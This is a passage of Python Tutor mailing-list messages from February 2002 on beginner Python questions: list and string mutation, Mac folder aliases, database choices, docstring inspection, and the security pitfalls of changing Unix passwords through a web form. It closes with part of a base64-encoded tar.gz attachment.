f.write(s) # then write the final string > >Just to go on from my example, you could redirect print-output to a file >like such: > >for item in [1,2,3]: > print >> f, str(item), > >That's starting to look a little less like Python to me, though. Yep, is anybody using this ugly extension=3F Guido get rid of it! ;-) I hate backticks as well which might seem fine for shell-freaks but really aren't consistent with the rest of the language and bound to throw off people who are new to programming in general. Charlie From csmith@blakeschool.org Mon Feb 11 15:09:35 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Mon, 11 Feb 2002 09:09:35 -0600 Subject: [Tutor] Re: making an alias of a folder In-Reply-To: References: Message-ID: Danny Yoo writes: > >I don't have a Macintosh available at the moment, so I can't test this, >but I believe that the macfs.NewAliasMinimalFromFullPath() is the function >that you're looking for: > > http://www.python.org/doc/current/mac/module-macfs.html I looked at that and didn't initially think that it was going to help but your saying it might be the thing made me look again. Though I don't know if I've got everything right, I do have a routine now that will make an alias of a folder. I don't understand the "relative" option yet, though. Those more in the know about the mac toolbox may see other things that I don't know as well. :-) Until the macostools.makealias is fixed, this is a workaround. Thanks for the nudge, Danny. And thanks for filing a bug report, Jack. /c #### import macfs from Carbon import Res # # Doesn't yet handle the relative option; I'm not sure what this # means for an alias yet. # def mkfolderalias(src, dst, relative=None): """Create an alias to a folder""" alias = macfs.NewAliasMinimalFromFullPath(dst) dstfss = alias.Resolve()[0] Res.FSpCreateResFile(dstfss, 'MACS', 'fdrp', -1) # make it point at the src and update the resource # {see Mac Lib Modules; v 2.2; sect 2.4.2 Alias Objects} # If the source is itself an alias, the new alias # will point at the same thing that the src alias is # pointing at. If the src is *not* a folder it will then # still point at the file but the icon will be a folder # icon until it is updated by the Finder (e.g. after # double clicking on it in the Finder). # alias.Update(src) h = Res.FSpOpenResFile(dstfss, 3) resource = Res.Resource(alias.data) resource.AddResource('alis', 0, '') Res.CloseResFile(h) # turn it into an alias icon; before doing this the # folder icon will be "busy and in use by the system" # dstfss = macfs.FSSpec(dst) dstfinfo = dstfss.GetFInfo() dstfinfo.Flags = dstfinfo.Flags|0x8000 # Alias flag dstfss.SetFInfo(dstfinfo) #### From virketis@fas.harvard.edu Mon Feb 11 15:13:59 2002 From: virketis@fas.harvard.edu (Pijus Virketis) Date: Mon, 11 Feb 2002 10:13:59 -0500 Subject: [Tutor] Python database options References: Message-ID: <003301c1b30e$bb7e5fa0$18adf78c@virketis2> Brad, > 5. Postgres, MySQL + Python bindings I suggest you pick one of these databases, and move your data to it. My reasoning is rather simple: both of them are free, they will give you great speed and flexibility, and, perhaps most important, if you want to do something a bit more sophisticated later on, they will scale and expand nicely. And trust me, once you have, say, a MySQL db set up, you will immediately think of five interesting ways to slice and dice your data ... :) The actual process of moving should be fairly straightforward. MySQL and probably Postgres should come standard with your RH distro. The Python interface to the former is here: http://sourceforge.net/projects/mysql-python/ and for the latter here http://sourceforge.net/projects/pypgsql/. Check out the docs for the Python DB API and other interesting info here: http://www.python.org/topics/database/. Then, it's just a question of opening up a connection, reading your 150000 lines one by one, and inserting them into the table. While you're at it, you might want to normalise it as well, since 10 fields sounds a bit much. :) Cheers, Pijus From cmccormick@thestate.com Mon Feb 11 16:56:54 2002 From: cmccormick@thestate.com (Chris McCormick) Date: Mon, 11 Feb 2002 11:56:54 -0500 Subject: [Tutor] Problems changing a list item in place ? Message-ID: Hello all, I have a program with a two-dimensional list called map. After it has already been populated, I want to do this: map[y_box][x_box][0] = selected_tile But I get this error: File "map_edit.py", line 270, in main map[y_box][x_box][0] = selected_tile # Change value of the tile TypeError: object doesn't support item assignment y_box and x_box are indexes; the statement "print map[y_box][x_box]" works fine. selected_tile is just an integer, though it shouldn't matter. I thought you could change list items in-place by assignment. Are multi-dimensional lists different? Thanks in advance, Chris From toodles@yifan.net Mon Feb 11 17:16:54 2002 From: toodles@yifan.net (Andy W) Date: Tue, 12 Feb 2002 01:16:54 +0800 Subject: [Tutor] Problems changing a list item in place ? References: Message-ID: <003701c1b31f$e83f1190$3100a8c0@sun> > Hello all, > I have a program with a two-dimensional list called map. After it has already been populated, I want to do this: > > map[y_box][x_box][0] = selected_tile > > But I get this error: > > File "map_edit.py", line 270, in main > map[y_box][x_box][0] = selected_tile # Change value of the tile > TypeError: object doesn't support item assignment Could it be that map[y_box][x_box] is referring to a tuple? Tuples are immutable, so do not support item assignment. If you make it so that the tuple is a list, then things should work. Maybe I'm wrong though? > > y_box and x_box are indexes; the statement "print map[y_box][x_box]" works fine. selected_tile is just an integer, though it shouldn't matter. > > I thought you could change list items in-place by assignment. Are multi-dimensional lists different? > > Thanks in advance, > Chris > > > > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From idiot1@netzero.net Mon Feb 11 03:58:24 2002 From: idiot1@netzero.net (kirk Bailey) Date: Sun, 10 Feb 2002 22:58:24 -0500 Subject: [Tutor] passwords Message-ID: <3C674160.60D1D569@netzero.net> OK, I want to be able to change paswords. no kidding unix shell passwords. wencrypted in the database of all users in critter. I want to do it with a form feeding to a script. accountname, oldpassword, oldpassword, newpassword. the data to be changed in a FreeBSD server is encrypted, in a colon delinieated database, normally modified with 'vipw'. 'vi' is a major editor with the capacity to access this file, decrypt it, edit the stuff, recrypt it, and save it. vipw is a shortcut that fires it up with all the path, filename, and special flags for this special task. I already know about the passwd command, it is interactive. IT talks back, I bet that could bark at the script real fine. so far the only things in python dealing with paswords GET them from the user and compare them to the stored password for equality. any advice? -- end Respectfully, Kirk D Bailey +---------------------"Thou Art Free." -Eris----------------------+ | http://www.howlermonkey.net mailto:highprimate@howlermonkey.net | | http://www.tinylist.org +--------+ mailto:grumpy@tinylist.org | +------------------Thinking| NORMAL |Thinking---------------------+ +--------+ ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From urnerk@qwest.net Mon Feb 11 17:35:23 2002 From: urnerk@qwest.net (Kirby Urner) Date: Mon, 11 Feb 2002 09:35:23 -0800 Subject: [Tutor] Problems changing a list item in place ? In-Reply-To: Message-ID: <4.2.0.58.20020211091624.00ce05e0@pop3.norton.antivirus> At 11:56 AM 2/11/2002 -0500, Chris McCormick wrote: >Hello all, > I have a program with a two-dimensional list called map. 'map' is a built-in function -- best to not use it as a variable name. Going map = [] will wipe out your ability to use the native map function. >After it has already been populated, I want to do this: > > map[y_box][x_box][0] = selected_tile This looks like a three dimensional list. A 2-d list would have only 2 subscripts, e.g. here's a two-dimensional list of [pet, petname] elements: >>> pets [['dog', 'rover'], ['cat', 'moon']] To change the name of the cat, I could go: >>> pets[1][1] = 'fiesta' >>> pets [['dog', 'rover'], ['cat', 'fiesta']] A 3 dimension list would like like: [[['a','b'],['c','d']],[['e','f'],['g','h']]] >>> themap = [[['a','b'],['c','d']],[['e','f'],['g','h']]] >>> themap[0][1][1] 'd' >>> themap[1] [['e', 'f'], ['g', 'h']] >>> themap[1][1][1] 'h' > But I get this error: > > File "map_edit.py", line 270, in main > map[y_box][x_box][0] = selected_tile # Change > value of the tile >TypeError: object doesn't support item assignment > > y_box and x_box are indexes; the statement "print map[y_box][x_box]" > works fine. selected_tile is just an integer, though it shouldn't matter. Sounds like you probably do have a 2-d list, but you're trying to index on an element. It'd be like, using the pets example, going: >>> pets[1][1][0] = 'fiesta' Traceback (most recent call last): File "", line 1, in ? pets[1][1][0] = 'fiesta' TypeError: object doesn't support item assignment Note same error message. The interpreter is saying "wait a minute, you're trying to stuff 'fiesta' into 'moon' as its 0th member. But 'moon' isn't a list. It's a string. 'string'[index] = object is not legal syntax. map[y_box][x_box] = selected_tile is what you need to do (but again, it's unfortunate to use the variable name map). >I thought you could change list items in-place by assignment. Are >multi-dimensional lists different? You have too many indexes. 2-d means two indexes, but you were making it 3 by puting that [0] on the end. >Thanks in advance, >Chris Kirby From cmccormick@thestate.com Mon Feb 11 17:55:05 2002 From: cmccormick@thestate.com (Chris McCormick) Date: Mon, 11 Feb 2002 12:55:05 -0500 Subject: [Tutor] Re: Changing a list item in place Message-ID: Kirby, You are absolutely right. I was trying to change the second character of a string contained at map[y_box][x_box]. Along with renaming my map, I'll find another way to do it... - Chris From shalehperry@attbi.com Mon Feb 11 17:55:28 2002 From: shalehperry@attbi.com (Sean 'Shaleh' Perry) Date: Mon, 11 Feb 2002 09:55:28 -0800 (PST) Subject: [Tutor] passwords In-Reply-To: <3C674160.60D1D569@netzero.net> Message-ID: > > so far the only things in python dealing with paswords GET them from > the user and compare them to the stored password for equality. > you need a python way to call the system set password functions. Somebody probably already did this work, you just need to find it. From scarblac@pino.selwerd.nl Mon Feb 11 18:01:16 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Mon, 11 Feb 2002 19:01:16 +0100 Subject: [Tutor] passwords In-Reply-To: <3C674160.60D1D569@netzero.net>; from idiot1@netzero.net on Sun, Feb 10, 2002 at 10:58:24PM -0500 References: <3C674160.60D1D569@netzero.net> Message-ID: <20020211190115.A3717@pino.selwerd.nl> On 0, kirk Bailey wrote: > OK, I want to be able to change paswords. > > no kidding unix shell passwords. wencrypted in the database of all > users in critter. > > I want to do it with a form feeding to a script. accountname, > oldpassword, oldpassword, newpassword. There are many security problems with this that I can think of immediately (see below). I don't believe this is the sort of thing you should want to code, and it's quite probable that there is no existing Python library for it. > the data to be changed in a FreeBSD server is encrypted, in a colon > delinieated database, normally modified with 'vipw'. 'vi' is a major > editor with the capacity to access this file, decrypt it, edit the > stuff, recrypt it, and save it. vipw is a shortcut that fires it up > with all the path, filename, and special flags for this special task. 'vipw' actually does one important thing extra: it locks the file it is working on. Nothing else will be able to change the passwd file while you are editing it, as long as it obeys file locks. So you'd need to lock it from the script as well. I hope the passwords aren't stored in your /etc/passwd, but in /etc/shadow. Otherwise, it's probably quite easy to crack them. > I already know about the passwd command, it is interactive. IT talks > back, I bet that could bark at the script real fine. > > so far the only things in python dealing with paswords GET them from > the user and compare them to the stored password for equality. > > any advice? This script would need to run with root permissions. Running any suid root program from a web form is asking for trouble. More specifically, running a *script* (text file with #! line) as suid root is a known security issue, to do with the time lag between the kernel reading the #! line, and Python reading the file. I don't know about FreeBSD, but Linux doesn't even allow suid scripts because of that - you'd need to write it in a compiled language that doesn't have this particular problem. Web forms send the info over the net as plain text. This can be sniffed too easily. You'd need specific protection against someone trying to brute force a password by brute force sending forms with different passwords. If your web server is cracked, the page with the form can be replaced by one which sends the form info to somewhere else, so the cracker receives the password info. Even if this is not possible, someone could change browser settings at a *user's* computer, so they get a page that looks like the change password page but actually sends the info to the cracker (for instance by configuring a proxy). This is usually very easy. Form contents may be cached on the user's computer. In short, I don't think it's a great idea. There is a reason why the passwd command is strictly interactive. But if you are certain you can find a solution for all these problems, especially those of sending the data in encrypted form and using foolproof authentication, then surely you can code the calls to change the shadow file by yourself :-) -- Remco Gerlich From jack@oratrix.com Mon Feb 11 10:29:04 2002 From: jack@oratrix.com (Jack Jansen) Date: Mon, 11 Feb 2002 11:29:04 +0100 Subject: [Pythonmac-SIG] Re: [Tutor] making an alias of a folder In-Reply-To: Message-ID: <2C5ABB21-1EDA-11D6-8176-0030655234CE@oratrix.com> I was going to point you to the convenience routine macostools.mkalias(src, dst), until I tried it and noticed it didn't work for folders:-( I've filed a sourceforge bug report (#515830), you may want to monitor this if you're interested in when this is fixed. On Monday, February 11, 2002, at 04:23 , Danny Yoo wrote: > On Sun, 10 Feb 2002, Christopher Smith wrote: > >> I think I put this request out before but haven't received any >> replies...perhaps there is someone new on the list that could help: >> >> Does anyone have a piece of code that successfully makes an alias of a >> folder on the MacOS? > > Hello! > > First, I'd better admit I'm clueless about this one... *grin* You might > be > able to find something in here: > > http://www.python.org/doc/current/mac/mac.html > > I don't have a Macintosh available at the moment, so I can't test this, > but I believe that the macfs.NewAliasMinimalFromFullPath() is the > function > that you're looking for: > > http://www.python.org/doc/current/mac/module-macfs.html > > > Good luck to you! > > > _______________________________________________ > Pythonmac-SIG maillist - Pythonmac-SIG@python.org > http://mail.python.org/mailman/listinfo/pythonmac-sig > -- - Jack Jansen http://www.cwi.nl/~jack - - If I can't dance I don't want to be part of your revolution -- Emma Goldman - From dyoo@hkn.eecs.berkeley.edu Mon Feb 11 18:21:07 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 11 Feb 2002 10:21:07 -0800 (PST) Subject: [Tutor] Re: Changing a list item in place In-Reply-To: Message-ID: On Mon, 11 Feb 2002, Chris McCormick wrote: > You are absolutely right. I was trying to change the second > character of a string contained at map[y_box][x_box]. Along with > renaming my map, I'll find another way to do it... By the way, if we want to be able to fiddle around with the individual characters of strings, we'll find it easier to do if we convert the string to a list: ### >>> greeting = 'hallo' >>> greeting_list = list(greeting) ### Once we have a list representation of our string, we can fiddle around with it, like this: ### >>> greeting_list[1] = 'e' >>> greeting = str(greeting_list) >>> greeting "['h', 'e', 'l', 'l', 'o']" ## Yikes! >>> greeting = string.join(greeting_list, '') >>> greeting 'hello' ## That's better. ### Always useful to know if we plan to do small string surgery soon. *grin* From dyoo@hkn.eecs.berkeley.edu Mon Feb 11 18:33:57 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 11 Feb 2002 10:33:57 -0800 (PST) Subject: [Tutor] passwords In-Reply-To: <3C674160.60D1D569@netzero.net> Message-ID: On Sun, 10 Feb 2002, kirk Bailey wrote: > no kidding unix shell passwords. wencrypted in the database of all > users in critter. By the way: many Unix systems will often keep the passwords in a separate file called '/etc/shadow' for security reasons. If you see that your /etc/passwd file has no passwords in it, then this is a sign that your system is using the shadow password system. > I already know about the passwd command, it is interactive. IT talks > back, I bet that could bark at the script real fine. You may want to be careful that, at most, only one program is touching the password file at any given time. The 'vipw' appears to do this, but I'd have to look at its source code to see how it's doing it. > so far the only things in python dealing with paswords GET them from > the user and compare them to the stored password for equality. You'll want to look at: http://www.python.org/doc/lib/module-crypt.html for information on the crypt() function. crypt() provides access to the password-making function your system uses to transform plaintext passwords. Good luck to you! From jeff@ccvcorp.com Mon Feb 11 19:00:05 2002 From: jeff@ccvcorp.com (Jeff Shannon) Date: Mon, 11 Feb 2002 11:00:05 -0800 Subject: [Tutor] Problems changing a list item in place ? References: Message-ID: <3C6814B5.B98C0F45@ccvcorp.com> > "Chris McCormick" wrote: > > Hello all, > I have a program with a two-dimensional list called map. After it has already been populated, I want to do this: > > map[y_box][x_box][0] = selected_tile > > But I get this error: > > File "map_edit.py", line 270, in main > map[y_box][x_box][0] = selected_tile # Change value of the tile > TypeError: object doesn't support item assignment > > y_box and x_box are indexes; the statement "print map[y_box][x_box]" works fine. selected_tile is just an integer, though it shouldn't matter. > > I thought you could change list items in-place by assignment. Are multi-dimensional lists different? No, but your assignment statement is trying to access a *third* dimension of your list. The question is, what is present at map[y_box][x_box] ?? (In other words, what's printed out when you 'print map[y_box][x_box]'?) My guess is that you're trying to assign to an individual element of an integer, which doesn't have individual elements. :) If that's the case, then all you need to do is eliminate the [0] on the left-hand-side of your assignment--in other words, use this: map[y_box][x_box] = selected_tile If this doesn't do what you expect, then try posting a bit more code--specifically, let us see what you've actually got in your 2D list. Jeff Shannon Technician/Programmer Credit International From jeff@ccvcorp.com Mon Feb 11 19:13:56 2002 From: jeff@ccvcorp.com (Jeff Shannon) Date: Mon, 11 Feb 2002 11:13:56 -0800 Subject: [Tutor] really dumb questions References: Message-ID: <3C6817F3.8B8FB608@ccvcorp.com> > > >>> scooby_file=open("scooby.txt","w") > > >>> scooby_file.writelines(["Scooby","Dooby","Doo"]) > > >>> scooby_file.close() > > > > Yields the file scooby.txt with the following data in it: > > ScoobyDoobyDoo > > And if you want it on separate lines just add a '\n' to > each item: > > f.writelines(map(lambda s: s+'\n', ["Scooby", "Dooby", "Doo"])) > > > for item in [1,2,3]: > > print item, #don't miss that comma on the end, > > But he asked for f.write not print so... > > s = '' > for item in [1,2,3]: > s = s+str(item) # just convert to a string and concatenate > f.write(s) # then write the final string For both of these, I'd use string.join() (or its string method equivalent): f.write( '\n'.join( ['Scooby', 'Dooby', 'Doo'] ) ) # equivalent-- f.write( string.join( ['Scooby', 'Dooby', 'Doo'], '\n' ) ) f.write( ' '.join( [1,2,3] ) ) # equivalent-- f.write( string.join( [1, 2, 3], ' ') ) # or also -- f.write( string.join( [1, 2, 3] ) ) # ' ' is the default > > 'x' thing? You've lost me there. > > Its the backtick technique for converting to a string. > > > current_time=time.time() > > time_file.write(str(current_time)) > > Yep, just like that... Do you see a trend yet? Backticks ( `x` ) are equivalent to repr(x), and I'd think that str(x) would be better to use for most of these circumstances. I'd only use backticks/repr() for debugging and internal purposes; if I want to write something that is intended for human consumption, str() is the better bet. Often they yield the same results, but in those cases where there *is* a difference, str() is intended to be more reader-friendly, while repr() is intended to allow the object to be reproduced from the string returned. > > ...the first element of sys.argv should give you > > what you want. ie.: > > > > import sys > > program_name=sys.argv[0] > > And you could use the os.path functions to prepend > the current directory if desired. > > prog_path = os.path.join(os.getcwd(),sys.argv[0]) It should also work (though also untested ;) ) to use abspath() -- prog_path = os.path.abspath(sys.argv[0]) This should (I think) work even if someone has called the script with an absolute path, from a different working directory... Jeff Shannon Technician/Programmer Credit International From jeff@ccvcorp.com Mon Feb 11 19:27:59 2002 From: jeff@ccvcorp.com (Jeff Shannon) Date: Mon, 11 Feb 2002 11:27:59 -0800 Subject: [Tutor] Nested loops/test conditions References: Message-ID: <3C681B3E.FE93F947@ccvcorp.com> > Chris Keelan wrote: > > def fix_string(badString): # need this to strip newlines, etc. from a > readline() > goodString = string.split(badString) > goodString = string.join(goodString) > return goodString This is a *very* inefficient way to strip newlines. Depending on your needs, you can probably do what you want with a simple goodstring = string.rstrip(badstring) This will remove all whitespace (space, tab, newline) from the right side of badstring. (string.strip() will remove it from both sides.) This is more-or-less equivalent to what you're doing already, and will be *much* faster. (Note also that for Python 2.x, 'goodstring = badstring.strip()' is also equivalent.) If you think that you may have significant whitespace at the end of strings, and want to remove *only* the newline character at the very end, you can do something like: def fix_string(badstring): if badstring[-1:] == '\n': #or (2.x)-- if badstring.endswith('\n'): return badstring[:-1] else: return badstring This checks to see if the last character of the string is a newline, and if so, returns everything *except* that newline. If there is no newline at the end, then the string is returned unchanged. Using slice notation on the test line prevents this from blowing up when passed an empty string. (There was a long discussion on comp.lang.python, recently, about how best to emulate Perl's chomp function; this was one of (well... two of) the best contenders.) Jeff Shannon Technician/Programmer Credit International From dyoo@hkn.eecs.berkeley.edu Mon Feb 11 21:21:05 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 11 Feb 2002 13:21:05 -0800 (PST) Subject: [Tutor] passwords In-Reply-To: <20020211190115.A3717@pino.selwerd.nl> Message-ID: On Mon, 11 Feb 2002, Remco Gerlich wrote: > If your web server is cracked, the page with the form can be replaced > by one which sends the form info to somewhere else, so the cracker > receives the password info. > > Even if this is not possible, someone could change browser settings at > a *user's* computer, so they get a page that looks like the change > password page but actually sends the info to the cracker (for instance > by configuring a proxy). This is usually very easy. > > Form contents may be cached on the user's computer. A non-Python solution might involve remote access with SSH. There's a Java ssh applet called 'Mindterm' that you can embed in your web page --- this may be a better approach, since the applet has more control over the information going through the network. Take a look at: http://www.appgate.org/mindterm/ for details on Mindterm. Hope this helps! From lbergman@abi.tconline.net Mon Feb 11 21:02:13 2002 From: lbergman@abi.tconline.net (Lewis Bergman) Date: Mon, 11 Feb 2002 15:02:13 -0600 Subject: [Tutor] passwords Message-ID: <200202112102.g1BL2Dw28958@lewis.abi.tconline.net> OK, word of warning I have only been at python for about three weeks so listen at your own risk. The first program I made uses libxmlrpc and SimpleXMLRPCServer to manage many different machines password and shadow password files along with things like RADIUS db records from a single point. While this works, it is full of dangerous implications. It does this with spawnv and it's P_WAIT option (so I can get the status code back) from the os module. I also used the crypt module to encrypt the passwords before writing them so I could use the useradd command with the -p switch instead of having to interact with the passwd command with some kind of expect deal. I found an abandoned project very useful in this. In fact, I rewote all but one function from the ground up but the clues in that project were invaluable. I would also suggest getting the shadow source files so you can see exactly what the return codes are so you can program with appropriate responses in mind. Hope this helps. -- Lewis Bergman Texas Communications 4309 Maple St. Abilene, TX 79602-8044 915-695-6962 ext 115 From lbergman@abi.tconline.net Mon Feb 11 21:03:45 2002 From: lbergman@abi.tconline.net (Lewis Bergman) Date: Mon, 11 Feb 2002 15:03:45 -0600 Subject: [Tutor] passwords In-Reply-To: <3C674160.60D1D569@netzero.net> References: <3C674160.60D1D569@netzero.net> Message-ID: <200202112103.g1BL3jU28962@lewis.abi.tconline.net> OK, word of warning I have only been at python for about three weeks so listen at your own risk. The first program I made uses libxmlrpc and SimpleXMLRPCServer to manage many different machines password and shadow password files along with things like RADIUS db records from a single point. While this works, it is full of dangerous implications. It does this with spawnv and it's P_WAIT option (so I can get the status code back) from the os module. I also used the crypt module to encrypt the passwords before writing them so I could use the useradd command with the -p switch instead of having to interact with the passwd command with some kind of expect deal. I found an abandoned project very useful in this. In fact, I rewote all but one function from the ground up but the clues in that project were invaluable. I would also suggest getting the shadow source files so you can see exactly what the return codes are so you can program with appropriate responses in mind. Hope this helps. -- Lewis Bergman Texas Communications 4309 Maple St. Abilene, TX 79602-8044 915-695-6962 ext 115 From fallen@leveltwo.com Mon Feb 11 22:36:51 2002 From: fallen@leveltwo.com (Fred Allen) Date: Mon, 11 Feb 2002 14:36:51 -0800 Subject: [Tutor] FunctionType list from ModuleType Attributes Message-ID: <4BB02C541824D311921600902765DB7B445C42@LTISERVER> Dear Tutors, I am contemplating a small program to read a module file and print the module's __doc__ text (if any) and, then, print all comprised functions' func_doc text. My design requires I either recast a module name from ModuleType (module name) to StringType or vice versa, or a FunctionType (function name) to a StringType or vice versa. I cannot seem to find means for any of these operations described in the documentation. They are surely no-brainers, leaving my ego a bit rumpled. With advance thanks for any help, I am, Gratefully, Fred Allen From paulsid@shaw.ca Mon Feb 11 23:39:21 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Mon, 11 Feb 2002 16:39:21 -0700 Subject: [Tutor] Nested loops/test conditions References: <3C681B3E.FE93F947@ccvcorp.com> Message-ID: <3C685629.C9B4AAE8@shaw.ca> Jeff Shannon wrote: > > def fix_string(badString): # need this to strip newlines, etc. from a > > readline() > > goodString = string.split(badString) > > goodString = string.join(goodString) > > return goodString > > This is a *very* inefficient way to strip newlines. It's also not sound in that it won't necessarily preserve the whitespace in the middle. Usually this is undesired but there are times when it can be useful to "normalize" a string, e.g.: "This is an ugly string" becomes: "This is an ugly string" Of course it would be a bit more compact to use string member functions (2.x): def normalize_string(s): return " ".join(s.split()) Anyhow, just thought I'd point this out. Sometimes bits of code that don't do what they're intended to do end up doing something else that is quite interesting in and of itself. :-) -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From scarblac@pino.selwerd.nl Tue Feb 12 00:14:03 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Tue, 12 Feb 2002 01:14:03 +0100 Subject: [Tutor] FunctionType list from ModuleType Attributes In-Reply-To: <4BB02C541824D311921600902765DB7B445C42@LTISERVER>; from fallen@leveltwo.com on Mon, Feb 11, 2002 at 02:36:51PM -0800 References: <4BB02C541824D311921600902765DB7B445C42@LTISERVER> Message-ID: <20020212011403.A4293@pino.selwerd.nl> On 0, Fred Allen wrote: > Dear Tutors, > > I am contemplating a small program to read a module file and print the > module's __doc__ text (if any) and, then, print all comprised functions' > func_doc text. > > My design requires I either recast a module name from ModuleType (module > name) to StringType or vice versa, or a FunctionType (function name) to a > StringType or vice versa. I cannot seem to find means for any of these > operations described in the documentation. They are surely no-brainers, > leaving my ego a bit rumpled. With advance thanks for any help, I am, Modules have a name, stored in mod.__name__ . Try e.g. >>> import os >>> print os.__name__ os >>> Although functions don't strictly have a name, if you need a description that includes the likely name (but it may be wrong), try str(f) for a function f. Easiest however would be to use a for loop over the names in dir(module), then you alread know what the function is called in the module. -- Remco Gerlich From dyoo@hkn.eecs.berkeley.edu Tue Feb 12 00:52:48 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Mon, 11 Feb 2002 16:52:48 -0800 (PST) Subject: [Tutor] FunctionType list from ModuleType Attributes In-Reply-To: <20020212011403.A4293@pino.selwerd.nl> Message-ID: On Tue, 12 Feb 2002, Remco Gerlich wrote: > On 0, Fred Allen wrote: > > Dear Tutors, > > > > I am contemplating a small program to read a module file and print the > > module's __doc__ text (if any) and, then, print all comprised functions' > > func_doc text. > > > > My design requires I either recast a module name from ModuleType (module > > name) to StringType or vice versa, or a FunctionType (function name) to a > > StringType or vice versa. I cannot seem to find means for any of these > > operations described in the documentation. They are surely no-brainers, > > leaving my ego a bit rumpled. With advance thanks for any help, I am, > > Modules have a name, stored in mod.__name__ . Try e.g. > >>> import os > >>> print os.__name__ > os > >>> > > Although functions don't strictly have a name, if you need a description > that includes the likely name (but it may be wrong), try str(f) for a > function f. > > Easiest however would be to use a for loop over the names in > dir(module), then you alread know what the function is called in the > module. The 'inspect' module might be very useful useful here: it has a few utility functions in there to extract docstrings from all things in a module: http://www.python.org/doc/lib/inspect-types.html Here's an example of how 'inspect' can help: ### >>> functions = inspect.getmembers(string, inspect.isfunction) >>> docs = {} >>> for name, object in functions: docs[name] = object.__doc__ ... >>> docs['strip'] 'strip(s) -> string\n\n Return a copy of the string s with leading and trailing\n whitespace removed.\n\n ' n### Good luck to you! From idiot1@netzero.net Tue Feb 12 06:01:17 2002 From: idiot1@netzero.net (kirk Bailey) Date: Tue, 12 Feb 2002 01:01:17 -0500 Subject: [Tutor] [Fwd: [testlist3] attachment's testing] Message-ID: <3C68AFAD.61438614@netzero.net> Very intresting. I sent a letter to the test list ('testlist3') and attached a copy of counter.1.0.0.tat.gz to it. below is the reulting email coming back to me. Hmmm.... If I can crunch this right, I can place the footers where they SHOULD be, and still handle attachments without a hiccup- thereby outperforming just about every other list server on the market today. Hmmm... need to think about this... anyone else out there intrested in sticking their fingers into THIS pie??? -------- Original Message -------- Subject: [testlist3] attachment's testing Date: Tue, 12 Feb 2002 00:45:27 -0500 (EST) From: kirk Bailey To: testlist3@tinylist.org This is a multi-part message in MIME format. --------------210EBB413004DA0DA95BECB2 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit test. -- end Respectfully, Kirk D Bailey +---------------------"Thou Art Free." -Eris----------------------+ | http://www.howlermonkey.net mailto:highprimate@howlermonkey.net | | http://www.tinylist.org +--------+ mailto:grumpy@tinylist.org | +------------------Thinking| NORMAL |Thinking---------------------+ +--------+ --------------210EBB413004DA0DA95BECB2 Content-Type: application/x-gzip; name="counter.1.0.0.tar.gz" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="counter.1.0.0.tar.gz" H4sICAi9ZDwAA2NvdW50ZXIuMS4wLjAudGFyAO1cW3PbyLHe10zV+Q+z8oOkCkVL8i273myF kmibWVlSSMqOqvIQkBySiEGAwQCSeX796a97ZgCQlL2brd1zqg5RydomgJmenr58fRlc9s67 V4PuN7/ldXJ8/PL5c/2NxnW89qd+/uzk+LnWr+jPk2cvTl681Prk+NnJ6Tf6+Delyl2lLaJc 62/yLCu+9NzD3Jjk9yDo973+8AfswdurW/22e9Xtdy71ze3ZZe9cX4pgKHmArg8mt3GW6tOW /muZGn3y3XcnSunzbLnK49m80Afnh/Tjn75r8S39JjdGD7Jp8RDlRr/JynQSFTRAS/fScVvx mC++00OzWCZG3yTR2LT0oIwLo589O27ps8wWePp9h4Tl9OTk5Ojk2fErrW8HHaW79yZfZURF bPXS5Iu4KMxEF5keEzk6Sid6Etsij0clDUfPjmjqBW7GxiqdTXUxpzeTeGxSa/QkG5cLkxYt Tc/r8TxKZ3E603GB4dOs0FGSZA9m0lbEDubHTW6ixSgxxAA9nBs/ktXTLNcLolxbv3L8f2Js PEuFwiL6RD8+RCu9yspcTYlNk2yBO3bOzxPxTAItrmhrfbYiutMijyzRV9BcvFkmNXmU6Jty RFOrS7cQIjdOC5NOZKpZGeUR/dvwVPpLU+Ge8jQfHdEjC9BpS3oMk4bl0BR4lhdKbCEarS4t yUYbnIitapKmPWnRcpkQ8zE584f3wDSlRFVSsm9rHEx5NVG60hm9k+tlns3yaKEf5hlGLot5 llvi0oLkgJ5UpZXtI5IOBtnCuNcek8jG4sYZiQuxb7RSntmX8SiP8pV+ZGVxagsTTdqHWt9l pR5HKS92pYUYZr2j2NIOZlkbUvNxblL9QIxdmugTuMFc9ZS0cAsU5WZq8hzLIQ64DWxBJtUy p/lphdc0/HbK7Ibs1fc0KiAVah7dyw7XpKOmO6IyG/TpAyc7+YxFQbE+kRjc09Q6nmJo/RDb +WErTEVrGZv4HoOU+RhDT2hncmbYzJCuFcq/SEJL/6y9imecpDakkV4n4dNE41ioxCCpTs2D 0Ov5/lqEyA/3Kc0ewriTDGNajEx8trw7wwyvFmZciOqwhbO8K6mp8TI34NQYUmRleGLGKJ4o ElaYJzDTpKzqbhIZCYRDpO0nuZVhV3Iobs4LlKfaaijvNGYhlbZJVPDgY5MXES2YnljSzXgU J3EROzuEkYWjauuO1jnZAkWO/YtsEk8hvsyKN3TDfI5gpVv+ia3D2XI815FnOfFqbqB2iv5V xLxithl6amggnod8r57FTv5IOmIaKiXmwK5UXGC+Qo00ZLUtWsbvrokzvbJiBWsFUauJF91V NcmjcTokEoEOOyeRoGcWXhjIq8AG8agiMPS3OFd+a6DDZpuUkNwXc1080J4WZmm/1wcnh+yX xE02uU5iqQ5OD4l/pOdOTGqe6WEeE1PBI8s3EzMjNWePZ9kbO5fXqu8wjfmU3RBvY30+prqT WOIQ9sJE2DE2n2Rv3VIwKpSFFiQCz9roBd4JnGKGG++FSwguAal0YsNWiDlNM3o/hxda8ZS8 